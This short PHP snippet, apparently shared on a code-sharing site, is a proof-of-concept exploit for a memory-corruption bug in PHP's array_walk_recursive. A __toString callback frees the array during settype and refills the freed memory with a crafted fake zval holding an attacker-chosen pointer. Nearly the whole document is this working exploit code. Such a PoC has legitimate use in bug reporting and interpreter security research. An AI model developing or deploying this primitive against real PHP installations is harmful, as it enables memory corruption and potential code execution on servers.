- chr: documentation ( source)
- array_walk_recursive: documentation ( source)
<?php
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class obj
{
function __tostring()
{
global $arr, $zval;
$arr = 1;
$zval = ptr2str(2);
$zval .= ptr2str(0x1122334455);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x05";
$zval .= "\x00";
$zval .= "\x00\x00";
return 'hi';
}
}
$arr = array('string' => new obj, 1);
array_walk_recursive($arr, 'settype');